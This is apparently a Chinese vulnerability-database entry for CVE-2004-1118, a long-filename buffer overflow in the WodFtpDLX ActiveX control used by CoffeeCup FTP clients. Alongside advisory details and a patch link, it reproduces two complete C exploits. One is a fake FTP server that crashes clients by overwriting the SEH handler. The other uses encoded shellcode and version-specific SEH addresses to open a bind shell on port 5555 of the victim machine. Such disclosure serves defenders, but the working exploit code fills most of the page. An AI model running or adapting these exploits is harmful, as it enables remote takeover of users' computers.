CVE-2004-1118
CVSS10.0
发布时间 :2005-01-10 00:00:00
修订时间 :2016-10-17 22:51:22
NMCOE    

[原文]Buffer overflow in the WodFtpDLX.ocx (WeOnlyDo!) ActiveX component before 2.3.2.97, as used by CoffeeCup Direct FTP 6.2.0.62 and CoffeeCup Free FTP 3.0.0.10, and possibly other applications, allows remote attackers to execute arbitrary code via a long filename.


[CNNVD]weonlydo WodFTPDLX WodFTPDLX.dll 缓冲区溢出漏洞(CNNVD-200501-198)

        WodFtpDLX是一款ActiveX组件,支持SSH及SSL的FTP文件传输。
        WodFtpDLX 2.3.2.97之前版本中wodFTPDLX.ocx控件存在缓冲区溢出漏洞。使用该控件的CoffeeCup DircectFTP6.2.062及CoffeeCup Free FTP 3.0.0.10均受其影响。
        远程攻击者可通过长文件名触发溢出,执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:weonlydo:wodftpdlx_activex_component
cpe:/a:weonlydo:wodftpdlx_activex_component:2.1.1_8

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1118
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1118
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-198
(官方数据源) CNNVD

- 其它链接及资源

http://lists.grok.org.uk/pipermail/full-disclosure/2004-November/029243.html
(UNKNOWN)  FULLDISC  20041122 WeOnlyDo! COM Ftp DELUXE ActiveX Control Buffer Overflow Vulnerability
http://lists.grok.org.uk/pipermail/full-disclosure/2004-November/029244.html
(UNKNOWN)  FULLDISC  20041122 CoffeeCup FTP Clients Buffer Overflow Vulnerability
http://marc.info/?l=bugtraq&m=110114233323417&w=2
(UNKNOWN)  BUGTRAQ  20041122 WeOnlyDo! COM Ftp DELUXE ActiveX Control Buffer Overflow Vulnerability
http://www.securityfocus.com/bid/11721
(VENDOR_ADVISORY)  BID  11721
http://xforce.iss.net/xforce/xfdb/18190
(VENDOR_ADVISORY)  XF  wodftpdlx-long-filename-bo(18190)

- 漏洞信息

weonlydo WodFTPDLX WodFTPDLX.dll 缓冲区溢出漏洞
危急 缓冲区溢出
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        WodFtpDLX是一款ActiveX组件,支持SSH及SSL的FTP文件传输。
        WodFtpDLX 2.3.2.97之前版本中wodFTPDLX.ocx控件存在缓冲区溢出漏洞。使用该控件的CoffeeCup DircectFTP6.2.062及CoffeeCup Free FTP 3.0.0.10均受其影响。
        远程攻击者可通过长文件名触发溢出,执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.weonlydo.com/index.asp?showform=FtpDLX

- 漏洞信息 (649)

wodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit (EDBID:649)
windows dos
2004-11-22 Verified
0 Komrade
N/A [点击下载]
/************************************************************************************

	WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on WodFtpDLX.ocx versions 2.3.2.90 - 2.3.0.0 - 2.2.0.1
                on a Windows XP Professional sp2 operating system.

	This exploit creates a fake FTP server on your machine, waiting for the
	connection of an application that uses the WodFtpDLX.ocx ActiveX Control.
	After the exploit is sent the application will crash, trying to access
	to a bad memory address: 0xDEADCODE.
	This exploit can be executed locally or remotely.

	Usage: wodftpcrash [-l] [-r server IP]

	Options:
	 -l		executed locally
	 -r serverIP	executed remotely. You need to specify the address
	 		of the FTP server for the PASV command (Insert your IP address)

	Examples:

	C:\> wodftpcrash -l		<- executed locally
	C:\> wodftpCrash -r 10.0.0.1	<- executed remotely

***************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

	SOCKET sock, client;
	struct sockaddr_in sock_addr,client_addr;
	WSADATA data;
	WORD p;
	char mess[4096], received[512], addr[32];
	int lun, n, i, err;
	HANDLE fileListH;
	DWORD fileListId, exitCode;

	printf("------------------------------------------------------------------------------\r\n");
	printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit\r\n");
	printf("\t\t\tcreated by Komrade\r\n\r\n");

	printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
	printf("\t\tweb: http://unsecure.altervista.org\r\n");
	printf("------------------------------------------------------------------------------\r\n\r\n");

	if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){
		printf("Usage: WodFtpCrash [-l] [-r server IP]\r\n\r\n");
		printf("Options:\r\n");
	 	printf(" -l\t\texecuted locally.\r\n");
		printf(" -r server IP\texecuted remotely. You need to specify the address of the\r\n");
		printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n");
		printf("\r\nExamples:\r\n");
		printf(" wodftpcrash -l\t\t\texecuted locally\r\n");
		printf(" wodftpCrash -r 10.0.0.1\texecuted remotely\r\n");
		return 0;
	}

       	if(strcmp(argv[1], "-r") == 0){
		char *token[4];

		token[0]=strtok(argv[2], ".");
		for(i = 1; i < 4; i++){
			token[i]=strtok(NULL, ".");
		}

		strcpy(addr, "\0");

		for(i=0; (i < 4) && (token[i]!= NULL); i++){
			strlcat(addr, token[i], 16);
			strcat(addr, ",");
		}
	}
	else
		strcpy(addr, "127,0,0,1,");

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(FTP_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen()\r\n");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	printf("Opening the FTP port and waiting for connections...\r\n");
	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));

	strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit\r\n");
	n=send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	while(wait == TRUE){

		Sleep(800);
		n = recv(client, received, sizeof(mess), 0);
		if (n < 0){
			printf("Error in recv()\r\n");
			return -1;
		}

		received[n]=0;
		printf("CLIENT: %s", received);

		if (stricmp("USER", strtok(received, " ")) == 0)
			strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
		else if (stricmp("PASS", strtok(received, " ")) == 0)
			strcpy(mess, "230 Anonymous user logged in.\r\n");
		else if (stricmp("PWD\r\n", received) == 0)
			strcpy(mess, "257 \"/\" is current directory.\r\n");
		else if (stricmp("CWD", strtok(received, " ")) == 0)
			strcpy(mess, "257 \"/\" is current directory.\r\n");
		else if (stricmp("TYPE", strtok(received, " ")) == 0)
			strcpy(mess, "200 Type set to A.\r\n");
		else if (stricmp("PASV\r\n", received) == 0){
			fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
			if (fileListH == NULL)
				printf("Error in CreateThread() %d", GetLastError());
			wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
		}
		else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
			strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
			printf("SERVER: %s\r\n", mess);
			n=send(client, mess, strlen(mess), 0);
			if (n < 0){
				printf("Error in send()\r\n");
				return -1;
			}
			wait = FALSE;

			do{
				GetExitCodeThread(fileListH, &exitCode);
				Sleep(100);
			}
			while(exitCode == STILL_ACTIVE);
			printf("< Long file name sent to client >\r\n\r\n");

			strcpy(mess, "226 Transfer complete.\r\n");
		}
		else
			strcpy(mess, "550 Unimplemented\r\n");

		printf("SERVER: %s\r\n", mess);
		n = send(client, mess, strlen(mess), 0);
		if (n < 0){
				printf("Error in send()\r\n");
				return -1;
		}
	}

	printf("Wait.......");
	Sleep(2000);
	printf("Exploit succesfully sent!\r\n");

        closesocket (client);
	closesocket(sock);

	WSACleanup();
	return 0;
}

DWORD WINAPI fileList(LPVOID data){

	char SEHAddr[] = "\xDE\xC0\xAD\xDE"; //this will be the new SEH address

	SOCKET sock, client, list;
	struct sockaddr_in sock_addr,client_addr;

	WSADATA wData;
	WORD p;
	char mess[4096];
	int lun, n, i, err;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &wData);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(PASV_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
  	if (err < 0){
  		printf("Error in listen().\r\n");
  		return -1;
  	}
	lun = sizeof (struct sockaddr);

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);

	while (wait == TRUE)
		Sleep(100);

	strcpy(mess, "03-04-81 12:00PM 3 ");

	for(i=strlen(mess); i<1083; i++)
		mess[i]='a';
	mess[i]='\0';

	strcat(mess, SEHAddr);

	for(i=strlen(mess); i<1300; i++) // cause the exception
		mess[i]='b';
	mess[i]='\0';

	strcat(mess, "\r\n");

	n = send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	closesocket(sock);
	closesocket(client);
	WSACleanup();

	return 0;
}

// milw0rm.com [2004-11-22]
		

- 漏洞信息 (650)

CoffeeCup FTP Clients (Direct <= 6.2.0.62) (Free <= 3.0.0.10) BoF Exploit (EDBID:650)
windows remote
2004-11-22 Verified
0 Komrade
N/A [点击下载]
/*************************************************************************************

	CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on:
    	CoffeeCup Direct FTP 6.2.0.62
        CoffeeCup Free FTP 3.0.0.10

        on a Windows XP Professional sp2 operating system.

	This exploit creates a fake FTP server on your machine, waiting for the
	connection of an FTP client.
	After the exploit is sent a shell (command prompt) is spawn on port 5555
	of the target machine.
	This exploit works locally or remotely.

	Usage: coffecupbof [direct | free] [-l] [-r server IP]

	Options:
	 direct | free	"direct" to exploit a CoffeeCup Direct FTP client
	 		"free" to exploit a CoffeeCup Free FTP client
	 -l		executed locally
	 -r serverIP	executed remotely. You need to specify the address
	 		of the FTP server for the PASV command (Insert your IP address)

	Examples:

	C:\> coffeecupbof direct -l		exploit for CoffeeCup Direct FTP executed locally
	C:\> coffeecupbof free -r 10.0.0.1      exploit for CoffeeCup Free FTP executed remotely

*****************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int version, wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

	SOCKET sock, client;
	struct sockaddr_in sock_addr,client_addr;
	WSADATA data;
	WORD p;
	char mess[4096], received[512], addr[32];
	int lun, n, i, err;
	HANDLE fileListH;
	DWORD fileListId, exitCode;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	printf("------------------------------------------------------------------------------\r\n");
	printf("\tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
	printf("\t\t\tcreated by Komrade\r\n\r\n");

	printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
	printf("\t\tweb: http://unsecure.altervista.org\r\n");
	printf("------------------------------------------------------------------------------\r\n\r\n");

	if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) ||
 (strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
		printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n");
		printf("Options:\r\n");
		printf(" direct | free\t\"direct\" to exploit a CoffeeCup Direct FTP client\r\n");
		printf(" \t\t\"free\" to exploit a CoffeeCup Free FTP client\r\n");
	 	printf(" -l\t\tworks locally.\r\n");
		printf(" -r server IP\tworks remotely. You need to specify the address of the\r\n");
		printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n");
		printf("Examples:\r\n");
		printf(" coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n");
		printf(" coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r
                                 \n\t\t\t\texecuted remotely\r\n");
		return 0;
	}

	if(strcmp(argv[1], "direct") == 0)
		version = 1;
	else
		version = 2;

	if(strcmp(argv[2], "-r") == 0){
		char *token[4];

		token[0]=strtok(argv[3], ".");
		for(i = 1; i < 4; i++){
			token[i]=strtok(NULL, ".");
		}

		strcpy(addr, "\0");

		for(i=0; (i < 4) && (token[i]!= NULL); i++){
			strlcat(addr, token[i], 16);
			strcat(addr, ",");
		}
	}
	else
		strcpy(addr, "127,0,0,1,");

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(FTP_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen()\r\n");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	printf("Opening the FTP port and waiting for connections...\r\n");
	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));

	strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
	n=send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	while(wait == TRUE){

		Sleep(800);
		n = recv(client, received, sizeof(mess), 0);
		if (n < 0){
			printf("Error in recv()\r\n");
			return -1;
		}

		received[n]=0;
		printf("CLIENT: %s", received);

		if (stricmp("USER", strtok(received, " ")) == 0)
			strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
		else if (stricmp("PASS", strtok(received, " ")) == 0)
			strcpy(mess, "230 Anonymous user logged in.\r\n");
		else if (stricmp("PWD\r\n", received) == 0)
			strcpy(mess, "257 \"/\" is current directory.\r\n");
		else if (stricmp("CWD", strtok(received, " ")) == 0)
			strcpy(mess, "257 \"/\" is current directory.\r\n");
		else if (stricmp("TYPE", strtok(received, " ")) == 0)
			strcpy(mess, "200 Type set to A.\r\n");
		else if (stricmp("PASV\r\n", received) == 0){
			fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
			if (fileListH == NULL)
				printf("Error in CreateThread() %d", GetLastError());
			wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
		}
		else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
			strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
			printf("SERVER: %s\r\n", mess);
			n=send(client, mess, strlen(mess), 0);
			if (n < 0){
				printf("Error in send()\r\n");
				return -1;
			}
			wait = FALSE;

			do{
				GetExitCodeThread(fileListH, &exitCode);
				Sleep(100);
			}
			while(exitCode == STILL_ACTIVE);
			printf("< Long file name sent to client >\r\n\r\n");

			strcpy(mess, "226 Transfer complete.\r\n");
		}
		else
			strcpy(mess, "550 Unimplemented\r\n");

		printf("SERVER: %s\r\n", mess);
		n = send(client, mess, strlen(mess), 0);
		if (n < 0){
				printf("Error in send()\r\n");
				return -1;
		}
	}

	printf("Wait.......");
	Sleep(2000);
	printf("Exploit succesfully sent!\r\n");
	printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));

	closesocket (client);
	closesocket(sock);

	WSACleanup();
	return 0;
}

DWORD WINAPI fileList(LPVOID data){

	char shellcode[] =
	"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
	"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
	"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
	"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
	"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
	"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
	"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
	"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
	"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
	"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
	"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
	"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
	"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
	"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
	"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
	"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
	"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
	"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
	"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
	"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
	"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
	"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
	"\xF8\xFA\xFA\xFC\xE9\xED\x99";

	char shelljump1[] =	"\x90\xEB\xBA\x90";

	char shelljump2[] =
	"\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";

	char SEHAddr1[] = "\x50\x39\x06\x6D";
	char SEHAddr2[] = "\x0D\xA8\x03\x6D";


	SOCKET sock, client, list;
	struct sockaddr_in sock_addr,client_addr;

	WSADATA wData;
	WORD p;
	char mess[4096];
	int lun, n, i, err;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &wData);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(PASV_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in use\r\n");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen().\r\n");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);

	while (wait == TRUE)
		Sleep(100);

	strcpy(mess, "03-04-81 12:00PM 3 ");

	for(i=strlen(mess); i<100; i++)
		mess[i]=0x90;
	mess[i]='\0';

	strcat(mess, shellcode);

	for(i=strlen(mess); i<1000; i++)
		mess[i]=0x90;
	mess[i]='\0';

	strcat(mess, shelljump2);

	for(i=strlen(mess); i<1079; i++)
		mess[i]=0x90;
	mess[i]='\0';

	strcat(mess, shelljump1);
	if (version == 1)
		strcat(mess, SEHAddr1);
	else
		strcat(mess, SEHAddr2);

	for(i=strlen(mess); i<1300; i++) // cause the exception
		mess[i]='b';
	mess[i]='\0';

	strcat(mess, "\r\n");

	n = send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()\r\n");
		return -1;
	}

	closesocket(sock);
	closesocket(client);
	WSACleanup();

	return 0;
}

// milw0rm.com [2004-11-22]
		

- 漏洞信息

12090
WeOnlyDo! Software wodFtpDLX File Name Overflow
Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-11-22 2004-11-16
2004-11-22 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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